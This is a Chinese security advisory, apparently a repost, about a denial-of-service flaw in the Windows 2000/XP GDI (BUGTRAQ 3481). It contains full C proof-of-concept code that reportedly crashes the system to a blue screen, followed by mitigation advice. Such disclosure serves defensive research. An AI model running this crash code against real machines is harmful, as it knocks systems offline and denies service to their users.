Microsoft Windows 2000/XP GDI 拒绝服务漏洞
2008-04-09 04:28:53来源:互联网 阅读 ()
发布日期:2001-10-30
更新日期:2001-11-02
受影响系统:
描述:
Microsoft Windows 2000 SP2
- Microsoft Windows 2000
Microsoft Windows 2000 SP1
- Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
BUGTRAQ ID: 3481
Windows Graphics Device Interface (GDI)是一套应用程序接口,用于显示图形输
出。但是它存在一个安全问题,可能导致系统拒绝服务。
这是由于GDI无法正确处理畸形或无效的参数和标志位造成的,系统表现为蓝屏,只有
重新启动才能恢复正常功能。
<*来源:PeterB (peter@INKVINE.FLUFF.ORG)
链接:http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0110&L=ntbugtraq&F=P&S=&P=8630
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
PeterB (peter@INKVINE.FLUFF.ORG)提供了如下测试代码:
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch(message)
{
case WM_NCCREATE:
{
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
SetProcessWindowStation(ws);
HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I
actually need, I think this is just about everything
SetThreadDesktop(dt);
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.
One or other (or both?) of these seem to be necessary.
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = TEXT("Crash");
RegisterClass(&wndclass);
HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
// NEVER GETS HERE.
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 禁止不可信用户登录您的系统
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.microsoft.com/
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash